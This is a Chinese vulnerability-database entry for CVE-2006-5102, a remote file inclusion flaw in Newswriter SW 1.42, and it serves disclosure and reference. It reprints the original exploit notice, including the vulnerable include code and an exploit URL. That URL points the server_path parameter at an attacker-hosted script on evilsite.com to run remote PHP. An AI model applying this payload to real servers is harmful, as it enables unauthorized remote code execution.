Newswriter 'Editfunc.inc.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111157 漏洞类型 输入验证
发布时间 2006-09-27 更新时间 2006-10-05
CVE编号 CVE-2006-5102 CNNVD-ID CNNVD-200610-011
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2439
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-011
|漏洞详情
SebastianBaumann和PhilippWolferNewswriterSW1.42及更早版本的include/editfunc.inc.php中存在PHP远程文件包含漏洞。远程攻击者可以通过NWCONF_SYSTEM[server_path]参数中的URL执行任意PHP代码。
|漏洞EXP
#==============================================================================================
#Newswriter SW <= 1.42 (NWCONF_SYSTEM[server_path]) Remote File Inclusion Vulnerability
#===============================================================================================
#
#Critical Level : Dangerous
#
#Script Dowload : http://www.baumedia.net/typo3conf/ext/nf_downloads/pi1/passdownload.php?downloaddata=3
#
#Version : 1.42
#
#================================================================================================
#
#Bug in :
#
#include/editfunc.inc.php
#================================================================================================
#
#Vulnerable Code :
#
#
#         include($NWCONF_SYSTEM['server_path'].'include/javascript.inc'.$NWCONF_SYSTEM['php_ext']);
#         require($NWCONF_SYSTEM['server_path'].'include/text-out.inc'.$NWCONF_SYSTEM['php_ext']);
#         require($NWCONF_SYSTEM['server_path'].'include/images.inc'.$NWCONF_SYSTEM['php_ext']);
#         require($NWCONF_SYSTEM['server_path'].'include/filefunc.inc'.$NWCONF_SYSTEM['php_ext']);
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Newswriter_SW_DIR]/include/editfunc.inc.php?NWCONF_SYSTEM[server_path]=http://evilsite.com/evilscript.txt?
#
#
#================================================================================================
#Discoverd By : Silahsiz Kuvvetler
#
#
#Conatact : co-type[at]hotmail[dot]com
#
#GreetZ : FaTTaLGazI- Narcotic - 0xyGen
#
#Special Thanqs : www.fatalerror.us
#==================================================================================================

# milw0rm.com [2006-09-27]
|参考资料

来源:XF
名称:newswritersw-editfunc-file-include(29200)
链接:http://xforce.iss.net/xforce/xfdb/29200
来源:BID
名称:20237
链接:http://www.securityfocus.com/bid/20237
来源:MILW0RM
名称:2439
链接:http://www.milw0rm.com/exploits/2439
来源:OSVDB
名称:37965
链接:http://osvdb.org/37965
来源:VUPEN
名称:ADV-2006-3816
链接:http://www.frsirt.com/english/advisories/2006/3816
来源:MILW0RM
名称:2439
链接:http://milw0rm.com/exploits/2439